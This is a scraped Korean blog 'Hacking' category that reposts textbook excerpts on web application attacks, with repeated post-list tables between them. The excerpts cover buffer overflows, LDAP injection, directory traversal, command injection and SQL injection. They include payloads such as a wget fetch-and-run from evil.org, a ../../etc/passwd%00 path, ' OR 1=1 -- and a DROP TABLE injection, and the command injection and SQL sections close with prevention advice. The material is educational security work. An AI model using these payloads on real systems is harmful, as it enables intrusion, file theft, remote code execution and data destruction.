'Hacking' 카테고리의 다른 글
ASProtect 1.23 RC4 - 1.3.08.24 (1) | 2009.01.24 |
---|---|
Gunz Original Files (0) | 2009.01.20 |
IDA PRO beginner tutorial (0) | 2009.01.11 |
1.2.3.bmp (0) | 2009.01.10 |
Hex Calculator (0) | 2009.01.10 |
ASProtect 1.23 RC4 - 1.3.08.24 (1) | 2009.01.24 |
---|---|
Gunz Original Files (0) | 2009.01.20 |
IDA PRO beginner tutorial (0) | 2009.01.11 |
1.2.3.bmp (0) | 2009.01.10 |
Hex Calculator (0) | 2009.01.10 |
New vulnerabilities in network services are disclosed daily to the security community and the underground alike through Internet mailing lists and various public forums. Proof-of-concept tools are often published for use by security consultants, whereas full-blown exploits are increasingly retained by hackers and not publicly disclosed in this fashion.
The following web sites are extremely useful for investigating potential vulnerabilities within network services:
Dynamic-Link Library Creation (0) | 2008.11.21 |
---|---|
Comercial Vulnerability Alerts (0) | 2008.11.21 |
1.4. Assessment Service Definitions (0) | 2008.11.21 |
Snort Configuration : Linux (0) | 2008.11.18 |
TOP SQL injection tool lists [15] (0) | 2008.11.12 |
Security vendors offer a number of assessment services branded in a variety of ways. Figure 1-1 shows the key service offerings along with the depth of assessment and relative cost. Each service type can provide varying degrees of security assurance.
Vulnerability scanning uses automated systems (such as Nessus, ISS Internet Scanner, QualysGuard, or eEye Retina) with minimal hands-on qualification and assessment of vulnerabilities. This is an inexpensive way to ensure that no obvious vulnerabilities exist, but it doesn't provide a clear strategy to improve security.
Network security assessment is an effective blend of automated and hands-on manual vulnerability testing and qualification. The report is usually handwritten, accurate, and concise, giving practical advice that can improve a company's security.
Web application testing involves post-authentication assessment of web application components, identifying command injection, poor permissions, and other weaknesses within a given web application. Testing at this level involves extensive manual qualification and consultant involvement, and it cannot be easily automated.
Full-blown penetration testing lies outside the scope of this book; it involves multiple attack vectors (e.g., telephone war dialing, social engineering, and wireless testing) to compromise the target environment. Instead, this book fully demonstrates and discusses the methodologies adopted by determined Internet-based attackers to compromise IP networks remotely, which in turn will allow you to improve IP network security.
Onsite auditing provides the clearest picture of network security. Consultants have local system access and run tools on each system capable of identifying anything untoward, including rootkits, weak user passwords, poor permissions, and other issues. 802.11 wireless testing is often performed as part of onsite auditing. Onsite auditing is also outside the scope of this book.
Comercial Vulnerability Alerts (0) | 2008.11.21 |
---|---|
Investigation of Vulnerabilities (0) | 2008.11.21 |
Snort Configuration : Linux (0) | 2008.11.18 |
TOP SQL injection tool lists [15] (0) | 2008.11.12 |
SQL injection (0) | 2008.11.12 |
By Susan Bradley A remote-code exploit that could spread rapidly like the 2003 MSBlaster worm is putting all versions of Windows at risk. I recommend that you immediately install a patch that Microsoft has just issued to protect your system from a vulnerability in the Server service. |
OpenLDAP structure (0) | 2008.10.29 |
---|---|
Linux open files (0) | 2008.10.28 |
SSH without PASSWORD (0) | 2008.10.15 |
Reverse Engineering Tutoring 1 (0) | 2008.10.04 |
Testing Injection Exposures (0) | 2008.10.03 |
Microsoft Urgent Patch (0) | 2008.10.25 |
---|---|
SSH without PASSWORD (0) | 2008.10.15 |
Testing Injection Exposures (0) | 2008.10.03 |
Buffer Overflows (0) | 2008.10.03 |
LDAP Injection (0) | 2008.10.03 |
Buffer overflows are one of the more complex injection attacks, as they take advantage of developers misusing memory. Like command injection, a successful buffer overflow attack gives the attacker complete control of the remote machine.
Note |
This section is intended to give you a feel for buffer overflows, but it does not discuss buffer overflows in technical detail. You can consult other texts and articles such as Aleph One’s classic “Smashing The Stack For Fun And Profit” in Phrack magazine (www.phrack.org/archives/49/P49-14) for more information on buffer overflows. |
Some programming languages, such as C and C++, place memory management responsibilities on the developer. If the developer is not careful, user input could write to memory that was not intended to be written to. One such memory location is called the return address of a stack. The return address holds the memory address of the next machine instruction block to execute. If an application is vulnerable to buffer overflows, an attacker could send a very long string to the web application—longer than the developer expected. The string could potentially overwrite the return address, telling the web application what machine instructions it should execute next. The injection aspect of buffer overflows is that the attacker injects machine instructions (called shell code) into some user input. The attacker somewhat needs to know where the shell code will end up in the memory of the computer running the web application. Then the attacker overwrites the return address to point to the memory location of the shell code.
Exploiting buffer overflows are nontrivial, but finding them is not as difficult, and finding buffer overflows on a local machine is easy. You need only send very long strings in all user inputs. We suggest inputting predictable strings, such as 10,000 capital As, into each input. If the program crashes, it is most likely due to a buffer overflow. Repeat the crash while running the application in a debugger. When the program crashes, investigate the program registers. If you see 41414141 (41 is the ASCII representation of a capital A) in the SP register, you have found a buffer overflow.
Finding buffer overflows on remote machines, such as a web application, is a lot more difficult, because attackers cannot view the contents of the web application’s registers, and it may even be difficult to recognize that the web application has even crashed. The trick to finding buffer overflows on web applications is to do the following:
Identify what publicly available libraries or code the web application is running.
Download that code.
Test that code on your local machine to find a buffer overflow.
Develop exploit code that works on your local machine.
Attempt to execute the exploit code on the web application.
The easiest step is to avoid developing frontend web applications with C and C++. The speed increase is nominal compared to delays in Internet communication. If you must use code written in C or C++, minimize the amount of code used and perform sanity checks on user input before sending it onto the C or C++ derived code.
If you can’t avoid programming in C or C++, you can take basic steps to prevent some buffer overflows, such as compiling your code with stack protection. You can, for example, use the /GS flag when compiling C and C++ code in Visual Studio, and use –fstack-protector in SSP (also known as ProPolice)-enabled versions of gcc.
Reverse Engineering Tutoring 1 (0) | 2008.10.04 |
---|---|
Testing Injection Exposures (0) | 2008.10.03 |
LDAP Injection (0) | 2008.10.03 |
XXE (XML eXternal Entity) Attacks (0) | 2008.10.03 |
Directory Traversal Attacks (0) | 2008.10.03 |
Generally, LDAP injection attacks allow users within a corporation to gain private information. This attack is usually not possible via the Internet.
Lightweight Directory Access Protocol (LDAP) is a protocol for managing and storing network resources and network users. This includes authorizing users to access computers and other resources. Some web applications use “unsanitized” user input to perform LDAP queries.
Consider a web application that takes a username as input and performs an LDAP query to display the user’s common name (cn) and phone number. For example, this request
http://intranet/ldap_query?user=rgc
returns this:
cn: Richard Cannings telephoneNumber: 403-555-1212
The LDAP statement to perform this query is simply this:
filter = (uid=rgc) attributes = cn, telephoneNumber
However, you can construct more elaborate filters by using Boolean operations such as OR (|) and AND (&) with various attributes such as cn, dn, sn, objectClass, telephoneNumber, manager, and so on. LDAP queries use Polish notation (also known as prefix notation), where the operators appear to the left of the operands. Furthermore, LDAP accepts the wildcard symbol (*). A more elaborate LDAP query could be something like this:
filter = (&(objectClass=person)(cn=Rich*)(|(telephoneNumber=403*)( telephoneNumber=415*)))
This query finds people whose common name starts with Rich and phone number in either the 403 or 415 area code.
To inject arbitrary LDAP queries into a vulnerable web application, you must construct a different, yet valid, LDAP query. If this HTTP request,
http://intranet/ldap_query?user=rgc
(uid=rgc)
then you must create a valid LDAP filter that begins with (uid= and ends with). For example, to perform a reverse phone number lookup (that is, find the name of a person associated with a phone number), you could make this request:
http://intranet/ldap_query?user=*)(|(telephoneNumber=415-555-1212)
This creates the query
(uid=*)(|(telephoneNumber=415-555-1212))
Another interesting query is to find all the possible objectClasses. This can be performed like so:
http://intranet/ldap_query?user=*)(|(objectClass=*)
This creates the query
(uid=*)(|(objectClass=*))
Testing Injection Exposures (0) | 2008.10.03 |
---|---|
Buffer Overflows (0) | 2008.10.03 |
XXE (XML eXternal Entity) Attacks (0) | 2008.10.03 |
Directory Traversal Attacks (0) | 2008.10.03 |
Command Injection (0) | 2008.10.03 |
Attackers use directory traversal attacks to read arbitrary files on web servers, such as SSL private keys and password files.
Some web applications open files based on HTTP parameters (user input). Consider this simple PHP application that displays a file in many languages:
Assume that this PHP page is accessible through http://foo.com/webapp/static.php?language=main-en; an attacker can read arbitrary files from the web server by inserting some string to make the include function point to a different file. For instance, if an attacker made these GET requests,
http://foo.com/webapp/static.php?language=../../../../etc/passwd%00
the include function would open this file:
/usr/local/webapp/static_files/../../../../etc/passwd
This file is simply
/etc/passwd
Thus, the GET request would return the contents of /etc/passwd on the server. Note that the null byte (%00) ends the string, so .html would not be concatenated to the end of the filename.
This type of attack is called a directory traversal attack, and it has plagued many web servers for some time, because attackers would URL encode the ../ segments in various ways, such as these:
%2e%2e%2f
%2e%2e/
..%2f
.%2e/
Today, some web application frameworks automatically protect against directory traversal attacks. For example, PHP has a setting called magic_quotes_gpc, which is on by default. This setting “magically” escapes suspicious characters in GETs, POSTs, and cookies with a backslash. Thus, the character / is escaped to \/, which stops this attack. Other web application frameworks do not have general protection mechanisms, and it is up to the developer to protect against these problems.
LDAP Injection (0) | 2008.10.03 |
---|---|
XXE (XML eXternal Entity) Attacks (0) | 2008.10.03 |
Command Injection (0) | 2008.10.03 |
XPath Injection (0) | 2008.10.03 |
SQL injection (0) | 2008.10.03 |
A successful command injection attack gives the attacker complete control of the remote system.
When user input is used as part of a system command, an attack may be able to inject system commands into the user input. This can happen in any programming language; however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, Phython, and C#. Consider the following PHP code snippet:
<?php $email_subject = "some subject"; if ( isset($_GET{'email'})) { system("mail " + $_GET{'email'}) + " -s '" + $email_subject + "' < /tmp/email_body", $return_val); } ?>
The user sends his or her e-mail address in the email parameter, and that user input is placed directly into a system command. Like SQL injection, the goal of the attacker is to inject a shell command into the email parameter while ensuring that the code before and after the email parameter is syntactically correct. Consider the system() call as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle piece in the middle to finish it off:
mail [MISSING PUZZLE PIECE] -s 'some subject' < /tmp/email_body
The puzzle piece needs to ensure that the mail command runs and exits properly. For example, mail --help will run and exit properly. Then the attacker could add additional shell commands by separating the commands with semicolons (;). Dealing with the puzzle piece on the other side is as simple as commenting it out with the shell comment symbol (#). Thus, a useful puzzle piece for the email parameter might be this:
--help; wget http://evil.org/attack_program; ./attack_program #
Adding this puzzle piece to the puzzle creates the following shell command:
mail --help; wget http://evil.org/attack_program; ./attack_program # s 'some subject' < /tmp/email_body
This is equivalent to this:
mail --help; wget http://evil.org/attack_program; ./attack_program
This runs mail --help and then downloads attack_program from evil.org and executes it, allowing the attacker to perform arbitrary commands on the vulnerable web site.
Preventing command injection is similar to preventing SQL injection. The developer must escape the user input appropriately before running a command with that input. It may seem like escaping semicolon (;) to backslash-semicolon (\;) would fix the problem. However, the attacker could use double-ampersand (&&) or possibly double-bar (||) instead of the semicolon. The escaping routine is heavily dependent on the shell executing the command. So developers should use an escape routine for the shell command rather than creating their own routine.
XXE (XML eXternal Entity) Attacks (0) | 2008.10.03 |
---|---|
Directory Traversal Attacks (0) | 2008.10.03 |
XPath Injection (0) | 2008.10.03 |
SQL injection (0) | 2008.10.03 |
Geek to Live: Encrypt your web browsing session (with an SSH SOCKS proxy) (0) | 2008.09.29 |
Attackers use SQL injection to do anything from circumvent authentication to gain complete control of databases on a remote server.
SQL, the Structured Query Language, is the de facto standard for accessing databases. Most web applications today use an SQL database to store persistent data for the application. It is likely that any web application you are testing uses an SQL database in the backend. Like many languages, SQL syntax is a mixture of database instructions and user data. If a developer is not careful, the user data could be interpreted as instructions, and a remote user could perform arbitrary instructions on the database.
Consider, for example, a simple web application that requires user authentication. Assume that this application presents a login screen asking for a username and password. The user sends the username and password over some HTTP request, whereby the web application checks the username and password against a list of acceptable usernames and passwords. Such a list is usually a database table within an SQL database.
A developer can create this list using the following SQL statement:
CREATE TABLE user_table ( id INTEGER PRIMARY KEY, username VARCHAR(32), password VARCHAR(41) );
This SQL code creates a table with three columns. The first column stores an ID that will be used to reference an authenticated user in the database. The second column holds the username, which is arbitrarily assumed to be 32 characters at most. The third column holds the password column, which contains a hash of the user’s password, because it is bad practice to store user passwords in their original form.
We will use the SQL function PASSWORD() to hash the password. In MySQL, the output of PASSWORD() is 41 characters.
Authenticating a user is as simple as comparing the user’s input (username and password) with each row in the table. If a row matches both the username and password provided, then the user will be authenticated as being the user with the corresponding ID. Suppose that the user sent the username lonelynerd15 and password mypassword. The user ID can be looked up:
SELECT id FROM user_table WHERE username='lonelynerd15' AND password=PASSWORD('mypassword')
If the user was in the database table, this SQL command would return the ID associated with the user, implying that the user is authenticated. Otherwise, this SQL command would return nothing, implying that the user is not authenticated.
Automating the login seems simple enough. Consider the following Java snippet that receives the username and password from a user and authenticates the user via an SQL query:
String username = req.getParameter("username");
String password = req.getParameter("password");
String query = "SELECT id FROM user_table WHERE " +
"username = '" + username + "' AND " +
"password = PASSWORD('" + password + "')";
ResultSet rs = stmt.executeQuery(query);
int id = -1; // -1 implies that the user is unauthenticated.
while (rs.next()) {
id = rs.getInt("id");
}
The first two lines grab the user input from the HTTP request. The next line constructs the SQL query. The query is executed, and the result is gathered in the while() loop. If a username and password pair match, the correct ID is returned. Otherwise, the id stays -1, which implies the user is not authenticated.
If the username and password pair match, then the user is authenticated. Otherwise, the user will not be authenticated, right?
Wrong! There is nothing stopping an attacker from injecting SQL statements in the username or password fields to change the SQL query.
Let’s re-examine the SQL query string:
String query = "SELECT id FROM user_table WHERE " + "username = '" + username + "' AND " + "password = PASSWORD('" + password + "')";
The code expects the username and password strings to be data. However, an attacker can input any characters he or she pleases. Imagine if an attacker entered the username ‘OR 1=1 -- and password x; then the query string would look like this:
SELECT id FROM user_table WHERE username = '' OR 1=1 -- ' AND password = PASSWORD('x')
The double dash (--) tells the SQL parser that everything to the right is a comment, so the query string is equivalent to this:
SELECT id FROM user_table WHERE username = '' OR 1=1
The SELECT statement now acts much differently, because it will now return IDs where the username is a zero length string ('') or where 1=1; but 1=1 is always true! So this statement will return all the IDs from user_table.
In this case, the attacker placed SQL instructions ('OR 1=1 --) in the username field instead of data.
To inject SQL instructions successfully, the attacker must turn the developer’s existing SQL instructions into a valid SQL statement. For instance, single quotes must be closed. Blindly doing so is a little difficult, and generally queries like these work:
• ' OR 1=1 -- • ') OR 1=1 --
Also, many web applications provide extensive error reporting and debugging information. For example, attempting’ OR 1=1 -- blindly in a web application often gives you an educational error message like this:
Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT (title, body) FROM blog_table WHERE cat='OR 1=1' at line 1
The particular error message shows the whole SQL statement. In this case, it appears that the SQL database was expecting an integer, not a string, so the injection string OR 1=1 --, without the proceeding apostrophe would work.
With most SQL databases, an attacker can place many SQL statements on a single line as long as the syntax is correct for each statement. For the following code, we showed that setting username to ' OR 1=1 and password to x returns that last user:
String query = "SELECT id FROM user_table WHERE " + "username = '" + username + "' AND " + "password = PASSWORD('" + password + "')";
However, the attacker could inject other queries. For example, setting the username to this,
' OR 1=1; DROP TABLE user_table; --
would change this query to this,
SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE user_table; -- ' AND password = PASSWORD('x');
which is equivalent to this:
SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE user_table;
This statement will perform the syntactically correct SELECT statement and erase the user_table with the SQL DROP command.
Injection attacks are not necessary blind attacks. Many web applications are developed with open-source tools. To make injection attacks more successful, download free or evaluation copies of products and set up your own test system. Once you have found an error in your test system, it is highly probable that the same issue will exist on all web applications using that tool.
The core problems are that strings are not properly escaped or data types are not constrained. To prevent SQL injection, first constrain data types (that is, if the input should always be an integer value, then treat it as an integer for all instances in which it is referenced). Second, escape user input. Simply escaping the apostrophe (’) to backslash-apostrophe (\’) and escaping backslash (\) to double backslash (\\) would have prevented the example attack. However, escaping can be much more complex. Thus, we recommend finding the appropriate escape routine for the database you are using.
By far the best solution is using prepared statements. Prepared statements were originally designed to optimize database connectors. At a very low level, prepared statements strictly separate user data from SQL instructions. Thus, when using prepared statements properly, user input will never be interpreted as SQL instructions.
Command Injection (0) | 2008.10.03 |
---|---|
XPath Injection (0) | 2008.10.03 |
Geek to Live: Encrypt your web browsing session (with an SSH SOCKS proxy) (0) | 2008.09.29 |
Portable Excutable File - Window Hacking (0) | 2008.09.25 |
PE format (0) | 2008.09.24 |